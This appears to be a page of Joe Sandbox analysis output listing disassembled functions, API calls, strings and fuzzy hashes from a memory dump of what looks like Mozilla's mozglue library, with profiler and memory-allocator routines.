RtlFreeHeap.NTDLL ref: 6CBE40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CBE3CCC), ref: 6CBE40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CBE3CCC), ref: 6CBE40C2
RtlFreeHeap.NTDLL ref: 6CBE4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6CBE3CCC), ref: 6CBE4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6CBE3CCC), ref: 6CBE4157

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: e8958649746ebca2aeabb8f3783b2b1bd4d668b0d106c0ae961f8ab1d08c9360
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 49A19EB1A00245CFDB40CF68C88065AB7B5FF4C758F2581A9D909AF752D772E886CFA1

Function 6CBD2030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6CBF3F47,?,?,?,6CBF3F47,6CBF1A70,?), ref: 6CBD207F
memset.VCRUNTIME140(?,000000E5,6CBF3F47,?,6CBF3F47,6CBF1A70,?), ref: 6CBD20DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6CBF3F47,6CBF1A70,?), ref: 6CBD211A
EnterCriticalSection.KERNEL32(6CC5E744,?,6CBF3F47,6CBF1A70,?), ref: 6CBD2145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6CBF3F47,6CBF1A70,?), ref: 6CBD21BA
EnterCriticalSection.KERNEL32(6CC5E744,?,6CBF3F47,6CBF1A70,?), ref: 6CBD21E0
LeaveCriticalSection.KERNEL32(6CC5E744,?,6CBF3F47,6CBF1A70,?), ref: 6CBD2232

Strings

MOZ_CRASH(), xrefs: 6CBD227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6CBD2253, 6CBD2268

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 24fecfc4af02c9147a0b5dac3b9651816be7ad7d7e57a28e83cd326fc4f1b21b
Instruction ID: 2ea383899b6adbe9c0a8be25b0bdcdfe28a95222472d7a8e9ec00c968b0b6e18
Opcode Fuzzy Hash: 24fecfc4af02c9147a0b5dac3b9651816be7ad7d7e57a28e83cd326fc4f1b21b
Instruction Fuzzy Hash: E961E431F002868FDB04CF68C88976E76B5EF85358F6A4239E525A7B94E770AC10C783

Function 6CBD48E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6CC1483A,?), ref: 6CBD4ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6CC1483A,?), ref: 6CBD4AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6CC1483A,?), ref: 6CBD4A82

Part of subcall function 6CBECA10: mozalloc_abort.MOZGLUE(?), ref: 6CBECAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6CC1483A,?), ref: 6CBD4A97
moz_xmalloc.MOZGLUE(15D4E801,?,6CC1483A,?), ref: 6CBD4A35

Part of subcall function 6CBECA10: malloc.MOZGLUE(?), ref: 6CBECA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6CC1483A,?), ref: 6CBD4A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6CC1483A,?), ref: 6CBD4AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6CC1483A,?), ref: 6CBD4B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6CC1483A,?), ref: 6CBD4B2C

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: 1f86bc4f3bf897fffc2c1a1b4151300dcd1f849f3e62a9963206462d5bb55283
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 4C7159B19007469FCB54CF68C480AAAB7F5FF09308B104A7EE15A9BB51E735F655CB80

Function 6CC29D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC28273), ref: 6CC29D65
free.MOZGLUE(6CC28273,?), ref: 6CC29D7C
free.MOZGLUE(?,?), ref: 6CC29D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CC29E0F
free.MOZGLUE(6CC2946B,?,?), ref: 6CC29E24
free.MOZGLUE(?,?,?), ref: 6CC29E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CC29EC8
free.MOZGLUE(6CC2946B,?,?,?), ref: 6CC29EDF
free.MOZGLUE(?,?,?,?), ref: 6CC29EF5

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 1a99c0fba066ef65f6eff44656f518b29caf31b36026bab881d6443bd7bfbe1f
Instruction ID: f08b88218b3882b5f56f0a9d1a36bc26ba7494474b53fd6acb3fb947d2d00c82
Opcode Fuzzy Hash: 1a99c0fba066ef65f6eff44656f518b29caf31b36026bab881d6443bd7bfbe1f
Instruction Fuzzy Hash: AE719FB0909B818BD712CF18C48055BF7F5FF99315B44965DE89A5BB02EB34E88ACBC1

Function 6CC2DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CC2DDCF

Part of subcall function 6CC0FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC0FA4B

Part of subcall function 6CC290E0: free.MOZGLUE(?,00000000,?,?,6CC2DEDB), ref: 6CC290FF
Part of subcall function 6CC290E0: free.MOZGLUE(?,00000000,?,?,6CC2DEDB), ref: 6CC29108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC2DE0D
free.MOZGLUE(00000000), ref: 6CC2DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC2DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC2DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC2DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CC1DEFD,?,6CBE4A68), ref: 6CC2DF32

Part of subcall function 6CC2DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CC2DB86
Part of subcall function 6CC2DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CC2DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CC1DEFD,?,6CBE4A68), ref: 6CC2DF65
free.MOZGLUE(?), ref: 6CC2DF80

Part of subcall function 6CBF5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CBF5EDB
Part of subcall function 6CBF5E90: memset.VCRUNTIME140(6CC37765,000000E5,55CCCCCC), ref: 6CBF5F27
Part of subcall function 6CBF5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CBF5FB2

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: d792434ad61925f6e3d4a19d318d7266dc13263fcab7e22b7a448ce112359d9a
Instruction ID: ce177a1c19bfefd2c009244b13e62f58e608625739f87fa10b289eb6b798c48c
Opcode Fuzzy Hash: d792434ad61925f6e3d4a19d318d7266dc13263fcab7e22b7a448ce112359d9a
Instruction Fuzzy Hash: 5C51E7766017019BD720DF28C8806AEB372BFB5308F95051DD85A63B00FB39F95ACB96

Function 6CC35D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CC35C8C,?,6CC0E829), ref: 6CC35D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CC35C8C,?,6CC0E829), ref: 6CC35D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CC35C8C,?,6CC0E829), ref: 6CC35D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CC35C8C,?,6CC0E829), ref: 6CC35D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CC35C8C,?,6CC0E829), ref: 6CC35DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CC35C8C,?,6CC0E829), ref: 6CC35DC9
std::_Facet_Register.LIBCPMT ref: 6CC35DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CC35C8C,?,6CC0E829), ref: 6CC35E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CC35C8C,?,6CC0E829), ref: 6CC35E45

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: c2774f0bf5f62e12c9fd86c294d318ff54234c4612eea470e1757142f49711c6
Instruction ID: cfffa3b2b1e78c12df264e83ac2559cffb8fb291f11ab57d490d6a4eeedfecca
Opcode Fuzzy Hash: c2774f0bf5f62e12c9fd86c294d318ff54234c4612eea470e1757142f49711c6
Instruction Fuzzy Hash: 1A418074B002158FCB00DF65D9D8AAE7BB5FF89314F5440A8E50AAB791EB35E805CF61

Function 6CC0CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CBD31A7), ref: 6CC0CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CC0CFA4, 6CC0CFB8
<jemalloc>, xrefs: 6CC0CF9F, 6CC0CFB3

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 220b6ea4d2cf55e999e09e90bfeeede5486f229f6c5f2bdc85fdc1a437ba2433
Instruction ID: e20a7ba4f1e281643a9e71a40ce57b769f26f5b2d1ef2ae9b490de45755226c4
Opcode Fuzzy Hash: 220b6ea4d2cf55e999e09e90bfeeede5486f229f6c5f2bdc85fdc1a437ba2433
Instruction Fuzzy Hash: 7831B230B402055BEF10AFA98C55BAE7B75BF41758F704118F620ABAC0FB72D4218BB6

Function 6CBDECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBDF100: LoadLibraryW.KERNEL32(shell32,?,6CC4D020), ref: 6CBDF122
Part of subcall function 6CBDF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CBDF132

moz_xmalloc.MOZGLUE(00000012), ref: 6CBDED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBDEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CBDEDCC
CreateFileW.KERNEL32 ref: 6CBDEE08
free.MOZGLUE(00000000), ref: 6CBDEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CBDEE32

Part of subcall function 6CBDEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CBDEBB5
Part of subcall function 6CBDEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CC0D7F3), ref: 6CBDEBC3
Part of subcall function 6CBDEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CC0D7F3), ref: 6CBDEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CBDEDC1

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: c2ba33894bab517e1aeb61c9e2b279293cc0bbb1e96dd0509ce521e9b64c575d
Instruction ID: ff3e9d201b565cb957e4d406cfcb2ecb06d29f404e35b4fcda04285143121f8b
Opcode Fuzzy Hash: c2ba33894bab517e1aeb61c9e2b279293cc0bbb1e96dd0509ce521e9b64c575d
Instruction Fuzzy Hash: 1351BE71D052958BDB00EF68C8406EEFBB1EF59318F45852DE8557B740EB30B948C7A2

Function 6CC4A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CC4A565

Part of subcall function 6CC4A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC4A4BE
Part of subcall function 6CC4A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CC4A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CC4A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CC4A6B6

Strings

z, xrefs: 6CC4A6AE
0, xrefs: 6CC4A5FB

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: ef3e9d643ceea4ba54d1c4f6b8a21f12921ea1c1f003814363e703682c953625
Instruction ID: 445c51b3f2baf624269c5e725eedcb6b1150cbe4ae0e24f0521db514a028ca92
Opcode Fuzzy Hash: ef3e9d643ceea4ba54d1c4f6b8a21f12921ea1c1f003814363e703682c953625
Instruction Fuzzy Hash: 30412675A097459FC341DF28C480A9FBBE5BFC9354F508A2EF49987650EB30E649CB82

Function 6CBD78C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6CC5008B), ref: 6CBD7B89
free.MOZGLUE(?,6CC5008B), ref: 6CBD7BAC

Part of subcall function 6CBD78C0: free.MOZGLUE(?,6CC5008B), ref: 6CBD7BCF

free.MOZGLUE(?,6CC5008B), ref: 6CBD7BF2

Part of subcall function 6CBF5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CBF5EDB
Part of subcall function 6CBF5E90: memset.VCRUNTIME140(6CC37765,000000E5,55CCCCCC), ref: 6CBF5F27
Part of subcall function 6CBF5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CBF5FB2

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: 2afa12cc1072a09073dc07917b816ad13e4cb38c09a788cb993587ada7b54bbf
Instruction ID: 07d068021cc9f34bdbb3c58f7eaf639c2b85d1d5d81a92e9eae9f145686280f9
Opcode Fuzzy Hash: 2afa12cc1072a09073dc07917b816ad13e4cb38c09a788cb993587ada7b54bbf
Instruction Fuzzy Hash: DBC1A371E011688BEB248B68CC90BDDB772AF41318F1642A9D41AB7BC4D771AE898B51

Function 6CC19420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CC0AB89: EnterCriticalSection.KERNEL32(6CC5E370,?,?,?,6CBD34DE,6CC5F6CC,?,?,?,?,?,?,?,6CBD3284), ref: 6CC0AB94
Part of subcall function 6CC0AB89: LeaveCriticalSection.KERNEL32(6CC5E370,?,6CBD34DE,6CC5F6CC,?,?,?,?,?,?,?,6CBD3284,?,?,6CBF56F6), ref: 6CC0ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBE4A68), ref: 6CC1945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC19470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC19482
__Init_thread_footer.LIBCMT ref: 6CC1949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CC1946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CC1947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CC19459

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 284a889271f4334add13fc0dfdd890649144acba2a6bbdef19dcca0af32dbbc0
Instruction ID: f080ba2cb833bd0b41508b11a1c24162997adb441ab4b3779ce42c2c2372a120
Opcode Fuzzy Hash: 284a889271f4334add13fc0dfdd890649144acba2a6bbdef19dcca0af32dbbc0
Instruction Fuzzy Hash: AA01D470A041018FD704DB6FD815A5A33B5AB4A36DF440536ED0BA6F41F721E875899F

Function 6CC20F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC20F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC20F88
GetCurrentThreadId.KERNEL32 ref: 6CC20FF7
InitializeConditionVariable.KERNEL32(?), ref: 6CC21067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6CC210A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6CC2114B

Part of subcall function 6CC18AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CC31563), ref: 6CC18BD5

free.MOZGLUE(?), ref: 6CC21174
free.MOZGLUE(?), ref: 6CC21186

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: ac5ba97cc9fcd8855dfab694d724b3f4d01798e902595dfcd17a36acdbbb5d94
Instruction ID: 07665f37e6f704945a3e375a938cb58e28f45269b76a309668dbc32751d20a62
Opcode Fuzzy Hash: ac5ba97cc9fcd8855dfab694d724b3f4d01798e902595dfcd17a36acdbbb5d94
Instruction Fuzzy Hash: 8561D075A043409FDB10CF29C890BAAB7F5BFC9318F04891DE88997711EB75E849CB82

Function 6CBDB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CBDB61E,?,?,?,?,?,00000000), ref: 6CBDB6AC

Part of subcall function 6CBECA10: malloc.MOZGLUE(?), ref: 6CBECA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CBDB61E,?,?,?,?,?,00000000), ref: 6CBDB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CBDB61E,?,?,?,?,?,00000000), ref: 6CBDB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CBDB61E,?,?,?,?,?,00000000), ref: 6CBDB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CBDB61E,?,?,?,?,?,00000000), ref: 6CBDB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CBDB61E), ref: 6CBDB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CBDB61E,?,?,?,?,?,00000000), ref: 6CBDB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CBDB61E,?,?,?,?,?,00000000), ref: 6CBDB79A

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
